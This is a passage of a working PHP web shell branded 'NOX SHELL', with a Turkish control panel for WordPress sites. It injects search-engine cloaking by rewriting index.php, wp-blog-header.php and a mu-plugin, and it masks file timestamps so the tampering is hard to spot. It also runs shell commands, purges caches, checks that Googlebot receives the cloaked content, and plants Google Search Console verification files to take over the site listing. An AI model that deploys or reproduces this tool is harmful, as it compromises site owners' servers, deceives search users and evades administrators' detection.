curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>2,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); if(!$cerr&&$code>0){$res['varnish']=['s'=>'ok','m'=>"PURGE port $vp → HTTP $code"];$vDone=true;break;} } if(!$vDone)$res['varnish']=['s'=>'na','m'=>'Varnish tespit edilmedi']; }else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];} // 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara $nginxFound=false; foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){ if(is_dir($ndir)&&is_writable($ndir)){ $ncnt=_cc_rmdir($ndir); $res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"]; $nginxFound=true;break; } } if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı']; // 6. Hostinger/LiteSpeed WP-CLI purge $wpCli=''; foreach(['/usr/local/bin/wp','/usr/bin/wp','/bin/wp'] as $p){if(@file_exists($p)){$wpCli=$p;break;}} if($wpCli&&function_exists('shell_exec')){ $out=trim((string)@shell_exec("cd ".escapeshellarg($DIR)." && $wpCli litespeed-purge all --allow-root 2>&1")); $res['litespeed_wpcli']=['s'=>'ok','m'=>$out?:"Çalıştırıldı"]; }elseif(!$wpCli){ $res['litespeed_wpcli']=['s'=>'na','m'=>'WP-CLI bulunamadı']; }else{ $res['litespeed_wpcli']=['s'=>'na','m'=>'shell_exec devre dışı']; } // 7. .htaccess tarama (değiştirmez, yalnızca uyarır) $htFile=$DIR.DIRECTORY_SEPARATOR.'.htaccess'; if(file_exists($htFile)){ $ht=(string)@file_get_contents($htFile); $warns=[]; if(preg_match('/ExpiresActive\s+On|ExpiresByType/i',$ht))$warns[]='mod_expires'; if(preg_match('/W3TC|W3 Total Cache/i',$ht))$warns[]='W3TC'; if(preg_match('/LiteSpeed/i',$ht))$warns[]='LiteSpeed'; if(preg_match('/max-age\s*=\s*[1-9][0-9]{2,}/i',$ht))$warns[]='max-age'; $res['htaccess']=$warns ?['s'=>'warn','m'=>'Dikkat: '.implode(', ',$warns).' tespit edildi — manuel kontrol önerilir'] :['s'=>'ok','m'=>'Sorunlu kural bulunamadı']; }else{ $res['htaccess']=['s'=>'na','m'=>'.htaccess yok']; } // 8. Cache Warmup — masaüstü + mobil UA ile anasayfayı ısıt if(function_exists('curl_init')){ $wScheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $wUrl=$wScheme.'://'.$_SERVER['HTTP_HOST'].'/'; $wUAs=[ 'warmup_desktop'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'warmup_mobile' =>'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36', ]; foreach($wUAs as $wKey=>$wUA){ $wch=curl_init(); curl_setopt_array($wch,[ CURLOPT_URL =>$wUrl, CURLOPT_RETURNTRANSFER =>true, CURLOPT_USERAGENT =>$wUA, CURLOPT_TIMEOUT =>10, CURLOPT_FOLLOWLOCATION =>true, CURLOPT_MAXREDIRS =>3, CURLOPT_SSL_VERIFYPEER =>false, CURLOPT_SSL_VERIFYHOST =>false, CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: tr-TR,tr;q=0.9,en;q=0.8'], ]); curl_exec($wch); $wCode=(int)curl_getinfo($wch,CURLINFO_HTTP_CODE); $wErr=curl_error($wch); curl_close($wch); $res[$wKey]=$wErr ?['s'=>'err','m'=>'Warmup hatası: '.$wErr] :['s'=>'ok','m'=>'HTTP '.$wCode.' → '.$wUrl]; } }else{ $res['warmup_desktop']=['s'=>'na','m'=>'cURL yok']; $res['warmup_mobile'] =['s'=>'na','m'=>'cURL yok']; } while(ob_get_level()>0)ob_end_clean(); $out=json_encode($res,JSON_UNESCAPED_UNICODE); if($out===false){ array_walk_recursive($res,function(&$v){if(is_string($v))$v=function_exists('iconv')?(string)@iconv('UTF-8','UTF-8//IGNORE',$v):substr($v,0,500);}); $out=json_encode($res,JSON_UNESCAPED_UNICODE); if($out===false)$out='{"fatal":"json_encode_fail"}'; } header("Content-Type:application/json"); echo $out;exit; } // ---- Timestamp maskeleme --------------------------------------------------- if($a==="fixtimestamp"){ $skip=[basename(__FILE__)]; $refMt=ref_mtime($DIR,array_merge($skip,[$INDEX_FILE,$HTML_FILE,'wp-blog-header.php'])); $res=[]; if(!$refMt){ $res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadı']; header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } $res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt)]; foreach([$INDEX_FILE,$HTML_FILE,'wp-blog-header.php'] as $mf){ $fp=$DIR.DIRECTORY_SEPARATOR.$mf; if(!file_exists($fp)){$res[$mf]=['s'=>'na','m'=>'Dosya yok'];continue;} $old=@filemtime($fp); $ok=@touch($fp,$refMt); $res[$mf]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)]; } header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } if($a==="info"){echo"<pre>PHP ".PHP_VERSION."\n".php_uname()."\nSAPI: ".php_sapi_name()."</pre>";exit;} header('Content-Type: text/html; charset=utf-8'); // ---- Durum bilgisi ---------------------------------------------------------- $idxPath=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $idxExists=file_exists($idxPath); $htmlExists=file_exists($htmlPath); $idxSize=$idxExists?number_format(@filesize($idxPath)):'—'; $htmlSize=$htmlExists?number_format(@filesize($htmlPath)):'—'; $googleFiles=list_google_files($DIR); $pk='p='.rawurlencode($_np); ?><!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"> <title><?=htmlspecialchars($_SERVER['HTTP_HOST'])?></title> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> *{box-sizing:border-box} body{background:#1a1a2e;color:#0ff;font-family:monospace;padding:24px;margin:0;max-width:820px;margin:0 auto} h1{color:#0f0;margin:0 0 4px;font-size:20px} .sub{color:#555;font-size:12px;margin-bottom:20px} a{color:#0f0} .card{border:1px solid #0f3;border-radius:6px;padding:16px;margin:12px 0;background:#16213e} .card h3{color:#0f3;margin:0 0 12px;font-size:14px;text-transform:uppercase;letter-spacing:.08em} .status-row{display:flex;align-items:center;gap:10px;margin:6px 0;font-size:13px} .dot{width:10px;height:10px;border-radius:50%;flex-shrink:0} .dot.ok{background:#0f0} .dot.warn{background:#fa0} .dot.err{background:#c33} .file-label{color:#0ff;min-width:240px} .file-size{color:#555;font-size:11px} .btn{cursor:pointer;font-weight:bold;padding:9px 18px;border:none;font-family:monospace;font-size:13px;border-radius:4px;transition:opacity .15s} .btn:hover{opacity:.85} .btn:active{opacity:.65} .btn-row{display:flex;gap:8px;margin:8px 0;flex-wrap:wrap} .btn-row .btn{flex:1;min-width:160px} .btn-cloak{background:#0a2e10;color:#0f3;border:1px solid #0a9} .btn-revert{background:#2e1800;color:#fa0;border:1px solid #c80} .btn-cache{background:#1a4a4a;color:#0ff;border:1px solid #0cc} .cache-row{display:flex;align-items:center;gap:8px;padding:5px 8px;border-radius:3px;font-size:12px;margin:3px 0} .cache-ok{background:#0a1e0a;border-left:3px solid #0f0;color:#0f0} .cache-err{background:#1e0a0a;border-left:3px solid #f55;color:#f55} .cache-warn{background:#1e180a;border-left:3px solid #fa0;color:#fa0} .cache-na{background:#111;border-left:3px solid #444;color:#555} .btn-save{background:#08c;color:#fff} .btn-load{background:#333;color:#0f0} .msg{margin-top:10px;font-size:13px;min-height:18px} .msg.ok{color:#0f0} .msg.err{color:#f55} .msg.info{color:#0ff} textarea{background:#0a1228;color:#0ff;border:1px solid #0f3;padding:8px;font-family:monospace;font-size:12px;width:100%;height:260px;border-radius:4px;resize:vertical} .toolbar{display:flex;gap:8px;margin:8px 0;flex-wrap:wrap;align-items:center} .note{color:#666;font-size:11px;margin:6px 0} details>summary{cursor:pointer;color:#0f0;font-size:13px;padding:6px 0;user-select:none} details>summary:hover{color:#0ff} .tag{display:inline-block;padding:1px 7px;border-radius:3px;font-size:11px;margin-left:6px} .tag-cloak{background:#0f3;color:#000} .tag-orig{background:#fa0;color:#000} .btn-check{background:#0a1a3a;color:#4af;border:1px solid #38c} .btn-ts{background:#2a1a4a;color:#c8a0ff;border:1px solid #7755cc} .badge-ok{background:#0a2e0a;border:1px solid #0f0;color:#0f0} .badge-fail{background:#2e0a0a;border:1px solid #f55;color:#f55} .badge-warn{background:#2e240a;border:1px solid #fa0;color:#fa0} hr{border:none;border-top:1px solid #222;margin:20px 0} .cloak-status{display:inline-flex;align-items:center;gap:6px;padding:5px 12px;border-radius:4px;font-size:12px;font-weight:bold;font-family:monospace;white-space:nowrap} .cloak-status.cs-checking{background:#0a1228;border:1px solid #0cc;color:#0cc} .cloak-status.cs-aktif{background:#0a2e0a;border:1px solid #0f0;color:#0f0} .cloak-status.cs-sorun{background:#2e1a0a;border:1px solid #fa0;color:#fa0} .cloak-status.cs-pasif{background:#1a1a1a;border:1px solid #555;color:#555} .btn-cache-off{opacity:.38;cursor:not-allowed !important} .cache-hint{font-size:12px;padding:9px 12px;border-radius:4px;margin-top:8px;line-height:1.6} .cache-hint.ch-info{background:#0a1e2a;border-left:3px solid #0cc;color:#0cc} .cache-hint.ch-warn{background:#1e180a;border-left:3px solid #fa0;color:#fa0} </style> </head><body> <div style="display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px;margin-bottom:4px"> <h1 style="margin:0">NOX SHELL | WORDPRESS OTOMASYON</h1> <span id="cloak-status" class="cloak-status cs-checking">● Kontrol ediliyor...</span> </div> <div class="sub"><?=htmlspecialchars($DIR)?> | <a href="?<?=$pk?>&a=info">PHP Info</a></div> <!-- Durum kartı --> <div class="card"> <h3>Durum</h3> <div class="status-row"> <span class="dot <?=$idxExists?'ok':'err'?>"></span> <span class="file-label">index.php</span> <span class="file-size"><?=$idxExists?"$idxSize bayt":'— mevcut değil —'?></span> </div> <div class="status-row"> <span class="dot <?=$htmlExists?'ok':'warn'?>"></span> <span class="file-label">wp-comments-post-loader.html</span> <span class="file-size"><?=$htmlExists?"$htmlSize bayt":'— mevcut değil (OTO CLOAK oluşturur) —'?></span> </div> <?php foreach($googleFiles as $gf): $gfPath=$DIR.DIRECTORY_SEPARATOR.$gf; $gfSize=number_format(@filesize($gfPath)); ?> <div class="status-row"> <span class="dot ok"></span> <span class="file-label"><?=htmlspecialchars($gf)?></span> <span class="file-size"><?=$gfSize?> bayt</span> <span class="tag" style="background:#08c;color:#fff;font-size:11px;padding:2px 6px;margin-left:4px">GOOGLE</span> <a href="#" onclick="removeFile('<?=htmlspecialchars(addslashes($gf))?>');return false" style="color:#f66;font-size:11px;margin-left:6px">Sil</a> </div> <?php endforeach; ?> </div> <!-- Ana buton --> <div class="card"> <h3>Cloak İşlemleri</h3> <div class="btn-row"> <button class="btn btn-cloak" onclick="autocloak()">OTO CLOAK AT</button> <button class="btn btn-check" onclick="botcheck()">GoogleBot ile Kontrol Et</button> </div> <h2 style="color:#4af;font-size:15px;margin:8px 0 6px;font-family:monospace;font-weight:bold;letter-spacing:.04em">ÖNCE OKUYUNUZ SONRA UYGULAYINIZ</h2> <div class="note" style="color:#f44">Perde(Cloaking) kodlarınızı alt kısımda <b>wp-comments-post-loader.html içeriğini düzenle</b> kısmına tıklayarak açılan kısma kayıt ediniz.</div> <div class="note" style="color:#0f0">Cloak At: mevcut index.php formatı otomatik tespit edilir, uygun cloak şablonu yazılır; .html yoksa oluşturulur. | Kontrol Et: GoogleBot UA ile siteye istek atılır.</div> <div class="note" style="color:#cc44ff">Daha uzun süreli Cloak için cloak kurulum sonrası Timestamp çalıştırınız.</div> <div class="note" style="color:#ff9900">Google Search Console Doğrulamasını alt taraftan yapabilirsiniz.</div> <div class="btn-row" style="margin-top:12px"> <button class="btn btn-revert" onclick="revert()">Orijinale Dön</button> <button class="btn btn-cache" id="btn-cache" onclick="clearcache()">Cache Temizle</button> <button class="btn btn-ts" onclick="fixtimestamp()">Timestamp Düzelt</button> </div> <div class="note" style="color:#fa0">Orijinale Dön: WP varsayılan index.php. | Cache Temizle: OPcache + disk cache + CDN. | Timestamp Düzelt: dizindeki diğer dosyaların tarihine göre index.php ve .html mtime'ını maskeler.</div> <div id="cache-hint" style="display:none" class="cache-hint ch-info"></div> <div class="msg" id="cmsg"></div> <div id="ccresult" style="display:none;margin-top:10px"> <div style="color:#0ff;font-size:12px;margin-bottom:6px;font-weight:bold" id="cctitle">Cache Temizleme Raporu</div> <div id="ccrows"></div> </div> <div id="tsresult" style="display:none;margin-top:10px"> <div style="color:#c8a0ff;font-size:12px;margin-bottom:6px;font-weight:bold">Timestamp Raporu</div> <div id="tsrows"></div> </div> <div class="msg" id="bcmsg"></div> <div id="bcresult" style="display:none;margin-top:10px"> <div id="bcbadge" style="padding:10px 14px;border-radius:4px;font-size:13px;font-weight:bold;margin-bottom:8px"></div> <div id="bcmeta" style="font-size:12px;color:#888;margin-bottom:6px"></div> <details> <summary style="font-size:12px;color:#555;cursor:pointer">Yanıt önizlemesi (ham HTML)</summary> <pre id="bcpreview" style="background:#0a1228;border:1px solid #222;padding:8px;font-size:11px;color:#adf;overflow-x:auto;white-space:pre-wrap;margin:6px 0;max-height:260px;overflow-y:auto"></pre> </details> </div> </div> <!-- HTML düzenleyici --> <details> <summary>wp-comments-post-loader.html İçeriğini Düzenle</summary> <div class="card" style="margin-top:6px"> <div class="toolbar"> <button class="btn btn-load" onclick="loadHtml()">Yükle</button> <span id="lmsg" style="font-size:12px;color:#555"></span> </div> <textarea id="htmlcontent" placeholder="Yükle butonuna basın..."></textarea> <div class="toolbar"> <button class="btn btn-save" onclick="saveHtml()">Kaydet</button> <span class="msg" id="hmsg"></span> </div> </div> </details> <!-- Google doğrulama yükleme --> <details> <summary>Google Search Console Doğrulama Dosyası Yükle</summary> <div class="card" style="margin-top:6px"> <div class="note">Sadece Google'ın size verdiği <b>google….html</b> dosyasını yükleyin. Dosya adı <code>google</code> ile başlamalı, <code>.html</code> ile bitmeli ve yalnızca harf/rakam içermelidir. İçerik <b>yalnızca</b> <code>google-site-verification: TOKEN</code> satırı olmalıdır — başka hiçbir içerik (HTML tag, form vb.) kabul edilmez.</div> <div style="margin:8px 0"> <div class="note" style="color:#0ff">Dosya adı (ör. <code>google085517675749d6fe.html</code>):</div> <input id="gname" placeholder="google….html" style="background:#0a1228;color:#0ff;border:1px solid #0f3;padding:6px;font-family:monospace;width:100%;border-radius:4px;margin:4px 0"> </div> <div> <div class="note" style="color:#0ff">Dosya içeriği (Google'ın size verdiği metin):</div> <textarea id="gcontent" placeholder="google-site-verification: TOKEN_DEGERI"></textarea> </div> <div class="toolbar"> <button class="btn btn-save" onclick="uploadGoogle()">Yükle</button> <span class="msg" id="gmsg"></span> </div> </div> </details> <script> var PK=<?=json_encode('p='.rawurlencode($_np))?>; var GOOGLE_RX=/^google[a-zA-Z0-9]+\.html$/; // ---- Durum makinesi ---- var _cloakActive=false; var _botcheckDone=false; var _botcheckWorking=false; var _LS_KEY='nox_bc_'+location.hostname; function _saveBotcheck(){ try{localStorage.setItem(_LS_KEY,JSON.stringify({done:_botcheckDone,working:_botcheckWorking,ts:Date.now()}));}catch(e){} } function _loadBotcheck(){ try{ var d=JSON.parse(localStorage.getItem(_LS_KEY)||'null'); if(!d||Date.now()-d.ts>86400000)return null; return d; }catch(e){return null;} } function _setCloakStatusBadge(state){ // state: 'checking' | 'atilmamis' | 'pasif' | 'aktif' var el=document.getElementById('cloak-status'); if(!el)return; var map={ checking :{cls:'cs-checking',txt:'● Kontrol ediliyor...'}, atilmamis :{cls:'cs-pasif', txt:'● Cloaking Atılmamış'}, pasif :{cls:'cs-sorun', txt:'● Cloaking Status: Pasif'}, aktif :{cls:'cs-aktif', txt:'● Cloaking Status: Aktif'} }; var m=map[state]||map.atilmamis; el.className='cloak-status '+m.cls; el.textContent=m.txt; } function _updateCacheBtn(){} function _checkCloakActive(){ _setCloakStatusBadge('checking'); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=checkcloak&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ try{ var r=JSON.parse(x.responseText); _cloakActive=(r.active===true); if(_cloakActive){ var _saved=_loadBotcheck(); if(_saved){ _botcheckDone=_saved.done; _botcheckWorking=_saved.working; _setCloakStatusBadge(_botcheckWorking?'aktif':'pasif'); }else{ _setCloakStatusBadge('pasif'); } }else{ _setCloakStatusBadge('atilmamis'); } _updateCacheBtn(); }catch(e){_setCloakStatusBadge('pasif');} }; x.onerror=function(){_setCloakStatusBadge('pasif');}; x.send(); } // Sayfa yüklenince cloak durumunu kontrol et window.addEventListener('load',function(){_checkCloakActive();}); function decodeB64Response(xhr){ var enc=(xhr.getResponseHeader("X-Body-Encoding")||"").toLowerCase(); if(enc!=="base64") return xhr.responseText; try{ var bin=atob(xhr.responseText.replace(/\s+/g,"")); var bytes=new Uint8Array(bin.length); for(var i=0;i<bin.length;i++) bytes[i]=bin.charCodeAt(i); return new TextDecoder("utf-8").decode(bytes); }catch(e){return "Çözme hatası: "+e.message} } function setMsg(id,text,type){ var el=document.getElementById(id); el.textContent=text; el.className="msg "+(type||"info"); } function reloadStatus(){ setTimeout(function(){location.href="?"+PK},800); } function autocloak(){ setMsg("cmsg","İşleniyor...","info"); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=autocloak&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ try{ var r=JSON.parse(x.responseText); var idx=r.index||'?', html=r.html||'?', mu=r.mu_plugin||'?', wpb=r.wp_blog_header||'?'; var ok=(idx==='OK'||idx==='EXISTS')&&(html==='OK'||html==='CREATED'||html==='EXISTS'); var txt="index.php: "+idx+" | html: "+html+" | mu-plugin: "+mu+" | wp-blog-header: "+wpb; setMsg("cmsg",txt,ok?"ok":"err"); if(ok){ _cloakActive=true; _botcheckDone=false; _botcheckWorking=false; _setCloakStatusBadge('checking'); _updateCacheBtn(); // Cloak başarıyla atıldı — otomatik botcheck başlat setMsg("cmsg","Cloak atıldı. GoogleBot kontrolü başlatılıyor...","info"); setTimeout(function(){botcheck(true);},600); } }catch(e){ setMsg("cmsg","Hata: "+x.responseText,"err"); } }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function revert(){ if(!confirm("index.php orijinal WordPress şablonuna döndürülsün mü?"))return; setMsg("cmsg","İşleniyor...","info"); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=revert&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ var ok=x.responseText==="OK"; setMsg("cmsg","Orijinal şablon yazıldı: "+x.responseText,ok?"ok":"err"); if(ok) reloadStatus(); }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function enc(s){ var b=btoa(unescape(encodeURIComponent(s))); return encodeURIComponent(b.replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"")); } function loadHtml(){ document.getElementById("lmsg").textContent="Yükleniyor..."; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=raw&b="+enc("wp-comments-post-loader.html")+"&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ if(x.status!==200){document.getElementById("lmsg").textContent="HTTP "+x.status;return;} document.getElementById("htmlcontent").value=decodeB64Response(x); document.getElementById("lmsg").textContent="Yüklendi."; }; x.onerror=function(){document.getElementById("lmsg").textContent="Hata"}; x.send(); } function toHex(str){ var bytes=new TextEncoder().encode(str),h=""; for(var i=0;i<bytes.length;i++) h+=("0"+bytes[i].toString(16)).slice(-2); return h; } function saveHtml(){ var c=document.getElementById("htmlcontent").value; if(c.indexOf("<"+"?")!==-1){setMsg("hmsg","PHP etiketi içeremez.","err");return;} setMsg("hmsg","Kaydediliyor...","info"); var fd=new FormData(); fd.append("a","savehtml"); fd.append("d",toHex(c)); var x=new XMLHttpRequest(); x.open("POST","?"+PK+"&_="+Date.now()); x.onload=function(){ var ok=x.responseText==="OK"; setMsg("hmsg",ok?"Kaydedildi.":"Hata: "+x.responseText,ok?"ok":"err"); }; x.onerror=function(){setMsg("hmsg","Ağ hatası","err")}; x.send(fd); } function clearcache(){ setMsg("cmsg","Cache temizleniyor...","info"); document.getElementById("ccresult").style.display="none"; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=clearcache&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ setMsg("cmsg","","info"); var r; try{r=JSON.parse(x.responseText);}catch(e){setMsg("cmsg","JSON hatası: "+x.responseText,"err");return;} if(r.fatal){setMsg("cmsg","PHP Hatası: "+r.fatal+(r.line?" (satır "+r.line+")":""),"err");return;} var labels={ opcache:"PHP OPcache",fpm_reload:"PHP-FPM Reload",apc:"APC Cache", memcache:"Memcache",memcached:"Memcached",redis:"Redis", wp_cache:"WP Disk Cache", dir_w3tc:"[Dizin] W3 Total Cache",dir_wprocket:"[Dizin] WP Rocket", dir_litespeed:"[Dizin] LiteSpeed",dir_autoptimize:"[Dizin] Autoptimize", dir_endurance:"[Dizin] Endurance",dir_wpfastest:"[Dizin] WP Fastest Cache", dir_comet:"[Dizin] Comet Cache",dir_enabler:"[Dizin] Cache Enabler", wp_api:"WP API Durum",wp_object_cache:"WP Object Cache", api_supercache:"WP Super Cache API",api_w3tc:"W3 Total Cache API", api_wprocket:"WP Rocket API",api_wpfastest:"WP Fastest Cache API", api_autoptimize:"Autoptimize API",api_litespeed:"LiteSpeed Cache API", api_sgoptimizer:"SG Optimizer",api_cacheenabler:"Cache Enabler API", api_comet:"Comet Cache API",api_hummingbird:"Hummingbird", api_swift:"Swift Performance",cloudflare:"Cloudflare CDN", aruba:"Aruba CDN (port 8889)",varnish:"Varnish Cache", nginx_cache:"Nginx FastCGI Cache", litespeed_wpcli:"LiteSpeed WP-CLI",htaccess:".htaccess Tarama", warmup_desktop:"Warmup Masaüstü",warmup_mobile:"Warmup Mobil" }; var html=""; var keys=[ "opcache","fpm_reload","apc","memcache","memcached","redis","wp_cache", "dir_w3tc","dir_wprocket","dir_litespeed","dir_autoptimize","dir_endurance","dir_wpfastest","dir_comet","dir_enabler", "wp_api","wp_object_cache", "api_supercache","api_w3tc","api_wprocket","api_wpfastest","api_autoptimize","api_litespeed","api_sgoptimizer","api_cacheenabler","api_comet","api_hummingbird","api_swift", "cloudflare","aruba","varnish","nginx_cache","litespeed_wpcli","htaccess", "warmup_desktop","warmup_mobile" ]; keys.forEach(function(k){ if(!r[k]||!r[k].s)return; var s=r[k].s, m=r[k].m; var cls=s==="ok"?"cache-ok":s==="warn"?"cache-warn":s==="err"?"cache-err":"cache-na"; var icon=s==="ok"?"✓":s==="warn"?"⚠":s==="err"?"✗":"—"; html+='<div class="cache-row '+cls+'"><b>'+icon+' '+(labels[k]||k)+'</b>: '+m+'</div>'; }); var el=document.getElementById("ccresult"); document.getElementById("ccrows").innerHTML=html; el.style.display="block"; }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err")}; x.send(); } function botcheck(auto){ setMsg("bcmsg","GoogleBot isteği gönderiliyor...","info"); document.getElementById("bcresult").style.display="none"; _setCloakStatusBadge('checking'); var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=botcheck&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ setMsg("bcmsg","","info"); var r; try{r=JSON.parse(x.responseText);}catch(e){setMsg("bcmsg","JSON parse hatası: "+x.responseText,"err");_setCloakStatusBadge('sorun');return;} if(r.error){setMsg("bcmsg",r.error,"err");_setCloakStatusBadge('sorun');return;} var res=document.getElementById("bcresult"); var badge=document.getElementById("bcbadge"); var meta=document.getElementById("bcmeta"); var preview=document.getElementById("bcpreview"); res.style.display="block"; if(r.curl_error){ badge.className="badge-warn"; badge.textContent="cURL Hatası: "+r.curl_error; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); }else if(r.html_empty){ badge.className="badge-warn"; badge.textContent="wp-comments-post-loader.html boş veya mevcut değil — karşılaştırma yapılamadı."; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); }else if(r.matched){ badge.className="badge-ok"; badge.textContent="✓ CLOAK ÇALIŞIYOR — GoogleBot, .html içeriğini görüyor."; _botcheckDone=true;_botcheckWorking=true; _setCloakStatusBadge('aktif'); }else{ badge.className="badge-fail"; badge.textContent="✗ CLOAK ÇALIŞMIYOR — GoogleBot, .html içeriğini göremedi."; _botcheckDone=true;_botcheckWorking=false; _setCloakStatusBadge(_cloakActive?'pasif':'atilmamis'); } _saveBotcheck(); _updateCacheBtn(); meta.textContent="URL: "+r.url+" | HTTP: "+r.http_code+(r.final_url&&r.final_url!==r.url?" | Yönlendi: "+r.final_url:""); preview.textContent=r.preview||"(yanıt boş)"; }; x.onerror=function(){setMsg("bcmsg","Ağ hatası","err");_setCloakStatusBadge('sorun');}; x.send(); } function fixtimestamp(){ setMsg("cmsg","Timestamp düzeltiliyor...","info"); document.getElementById("tsresult").style.display="none"; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=fixtimestamp&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ setMsg("cmsg","","info"); var r;try{r=JSON.parse(x.responseText);}catch(e){setMsg("cmsg","JSON hatası","err");return;} var labels={"ref":"Referans Tarama","index.php":"index.php","wp-comments-post-loader.html":"HTML Dosyası"}; var html=""; for(var k in r){ var s=r[k].s,m=r[k].m; var cls=s==="ok"?"cache-ok":s==="warn"?"cache-warn":s==="err"?"cache-err":"cache-na"; var icon=s==="ok"?"✓":s==="warn"?"⚠":s==="err"?"✗":"—"; html+='<div class="cache-row '+cls+'"><b>'+icon+' '+(labels[k]||k)+'</b>: '+m+'</div>'; } document.getElementById("tsrows").innerHTML=html; document.getElementById("tsresult").style.display="block"; }; x.onerror=function(){setMsg("cmsg","Ağ hatası","err");}; x.send(); } function uploadGoogle(){ var name=document.getElementById("gname").value.trim(); var content=document.getElementById("gcontent").value; if(!GOOGLE_RX.test(name)){setMsg("gmsg","Geçersiz ad. Örnek: google085517675749d6fe.html","err");return;} if(!content){setMsg("gmsg","İçerik boş olamaz.","err");return;} if(!/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/.test(content.trim())){setMsg("gmsg","Geçersiz içerik. Yalnızca şu format kabul edilir: google-site-verification: TOKEN","err");return;} setMsg("gmsg","Yükleniyor...","info"); var fd=new FormData();fd.append("a","writegoogle");fd.append("b",enc(name));fd.append("d",toHex(content)); var x=new XMLHttpRequest();x.open("POST","?"+PK+"&_="+Date.now()); x.onload=function(){ if(x.responseText==="OK"){setMsg("gmsg","Yüklendi: "+name+". Yenileniyor...","ok");setTimeout(function(){location.href="?"+PK},1000);} else{setMsg("gmsg","Hata: "+x.responseText,"err");} }; x.onerror=function(){setMsg("gmsg","Ağ hatası","err");}; x.send(fd); } function removeFile(name){ if(!GOOGLE_RX.test(name)){alert("Yalnızca Google doğrulama dosyaları silinebilir.");return;} if(!confirm(name+" silinsin mi?"))return; var x=new XMLHttpRequest(); x.open("GET","?"+PK+"&a=rmgoogle&b="+enc(name)+"&_="+Date.now()); x.setRequestHeader("Cache-Control","no-cache"); x.onload=function(){ if(x.responseText==="OK"){location.href="?"+PK;} else{alert("Hata: "+x.responseText);} }; x.onerror=function(){alert("Ağ hatası");}; x.send(); } </script> </body></html>
💾 Save Changes
Cancel
📤 Upload File
×
Select File
Upload
Cancel
➕ Create New
×
Type
📄 File
📁 Folder
Name
Create
Cancel
✎ Rename Item
×
Current Name
New Name
Rename
Cancel
🔐 Change Permissions
×
Target File
Permission (e.g., 0755, 0644)
0755
0644
0777
Apply
Cancel